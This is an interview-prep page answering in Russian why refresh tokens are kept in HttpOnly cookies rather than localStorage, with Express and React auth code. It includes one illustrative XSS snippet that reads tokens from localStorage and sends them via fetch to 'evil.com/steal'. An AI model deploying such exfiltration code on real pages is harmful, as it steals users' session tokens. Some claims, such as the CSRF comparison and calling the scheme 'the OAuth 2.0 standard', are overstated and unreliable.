← Назад к вопросам

Почему хранишь refresh token не в localStorage?

2.2 Middle🔥 191 комментариев
#JavaScript Core

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Почему хранить refresh token не в localStorage?

Короче: localStorage подвержен XSS атакам. Refresh token лучше хранить в HttpOnly Cookie, чтобы JavaScript не мог его украсть.

Проблема localStorage

Уязвимость к XSS (Cross-Site Scripting)

Если на сайт внедрен вредоносный JavaScript, злоумышленник может легко украсть токены:

// Вредоносный код на странице
const refreshToken = localStorage.getItem('refreshToken');
const accessToken = localStorage.getItem('accessToken');

// Отправляет токены на сервер злоумышленника
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({ refreshToken, accessToken })
});

Атакующий может:

  • Получить доступ к аккаунту пользователя
  • Выдать себя за пользователя
  • Украсть персональные данные

Решение: HttpOnly Cookie

Как это работает

HttpOnly Cookie не доступны JavaScript, только HTTP запросы могут их использовать:

// Сервер отправляет:
Set-Cookie: refreshToken=abc123; HttpOnly; Secure; SameSite=Strict

// JavaScript НЕ может прочитать это
console.log(document.cookie); // refreshToken НЕ будет здесь

// Но браузер автоматически отправит в запросах
fetch('/api/refresh') // refreshToken отправится автоматически

Правильная схема аутентификации

Логин:
1. Пользователь отправляет логин/пароль
2. Сервер проверяет и создает:
   - Access Token (короткоживущий, 15 минут)
   - Refresh Token (долгоживущий, 7 дней)
3. Сервер отправляет:
   - Access Token в теле ответа (для localStorage)
   - Refresh Token в HttpOnly Cookie

Использование:
4. Клиент отправляет Access Token в headers
5. При истечении Access Token:
6. Клиент отправляет запрос на /api/refresh
7. Браузер автоматически включит Refresh Token из Cookie
8. Сервер проверяет Refresh Token и выдает новый Access Token

Практический пример

Серверная часть (Express + Node.js)

// POST /api/login
app.post('/api/login', (req, res) => {
  const { email, password } = req.body;
  
  // Проверяем credentials
  const user = validateUser(email, password);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });
  
  // Создаем токены
  const accessToken = jwt.sign(
    { userId: user.id },
    process.env.ACCESS_SECRET,
    { expiresIn: '15m' }
  );
  
  const refreshToken = jwt.sign(
    { userId: user.id },
    process.env.REFRESH_SECRET,
    { expiresIn: '7d' }
  );
  
  // Отправляем refresh token в HttpOnly Cookie
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,      // Недоступна JavaScript
    secure: true,        // Только HTTPS
    sameSite: 'strict',  // Только same-site запросы
    maxAge: 7 * 24 * 60 * 60 * 1000 // 7 дней
  });
  
  // Access token в теле (для localStorage)
  res.json({ accessToken });
});

// POST /api/refresh
app.post('/api/refresh', (req, res) => {
  const refreshToken = req.cookies.refreshToken; // Из Cookie
  
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });
  
  try {
    const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
    const newAccessToken = jwt.sign(
      { userId: decoded.userId },
      process.env.ACCESS_SECRET,
      { expiresIn: '15m' }
    );
    
    res.json({ accessToken: newAccessToken });
  } catch (error) {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

Клиентская часть (React)

// lib/api.ts
interface AuthResponse {
  accessToken: string;
}

export async function login(email: string, password: string): Promise<void> {
  const response = await fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include', // Важно! Отправляет cookies
    body: JSON.stringify({ email, password })
  });
  
  if (!response.ok) throw new Error('Login failed');
  
  const data = await response.json();
  
  // Сохраняем ТОЛЬКО access token в localStorage
  localStorage.setItem('accessToken', data.accessToken);
}

export async function refreshAccessToken(): Promise<string> {
  const response = await fetch('/api/refresh', {
    method: 'POST',
    credentials: 'include' // Отправляет refresh token из Cookie
  });
  
  if (!response.ok) throw new Error('Refresh failed');
  
  const data: AuthResponse = await response.json();
  localStorage.setItem('accessToken', data.accessToken);
  return data.accessToken;
}

export async function apiRequest(url: string, options: RequestInit = {}) {
  let accessToken = localStorage.getItem('accessToken');
  
  // Запрос с access token
  let response = await fetch(url, {
    ...options,
    credentials: 'include',
    headers: {
      ...options.headers,
      Authorization: `Bearer ${accessToken}`
    }
  });
  
  // Если 401 - refresh и повторить
  if (response.status === 401) {
    accessToken = await refreshAccessToken();
    response = await fetch(url, {
      ...options,
      credentials: 'include',
      headers: {
        ...options.headers,
        Authorization: `Bearer ${accessToken}`
      }
    });
  }
  
  return response;
}

React Hook для аутентификации

// hooks/useAuth.ts
import { useCallback } from 'react';
import { login, refreshAccessToken, apiRequest } from '@/lib/api';

export function useAuth() {
  const handleLogin = useCallback(async (email: string, password: string) => {
    await login(email, password);
  }, []);
  
  const handleLogout = useCallback(async () => {
    await fetch('/api/logout', {
      method: 'POST',
      credentials: 'include' // Браузер удалит cookie
    });
    localStorage.removeItem('accessToken');
  }, []);
  
  return { handleLogin, handleLogout };
}

Почему именно такая схема?

ПараметрlocalStorageHttpOnly Cookie
XSS атакаУязвим (JS может украсть)Защищен (JS не видит)
CSRF атакаУязвимЗащищен (SameSite)
УправлениеРучное (deleteItem)Браузер управляет
Автоматическая отправкаНет (нужна логика)Да (все запросы)

Лучшие практики

  1. Refresh Token -> HttpOnly Cookie

    • Недоступен JavaScript
    • Защищен от XSS
    • Автоматически отправляется
  2. Access Token -> localStorage

    • Нужен для каждого запроса в заголовке
    • Можно прочитать JavaScript
    • Если украдут - потеря не так критична (15 минут)
  3. Cookie параметры

res.cookie('refreshToken', token, {
  httpOnly: true,      // Обязательно
  secure: true,        // Только HTTPS
  sameSite: 'strict'   // Защита от CSRF
});

Заключение

localStorage для refresh token - плохо:

  • XSS атака украдет оба токена
  • Токены видны в DevTools
  • Отсутствует защита

HttpOnly Cookie для refresh token - хорошо:

  • JavaScript не видит
  • Защита от XSS
  • Автоматическая отправка
  • Стандартный подход в industry

Это стандарт OAuth 2.0 и рекомендация всех крупных компаний.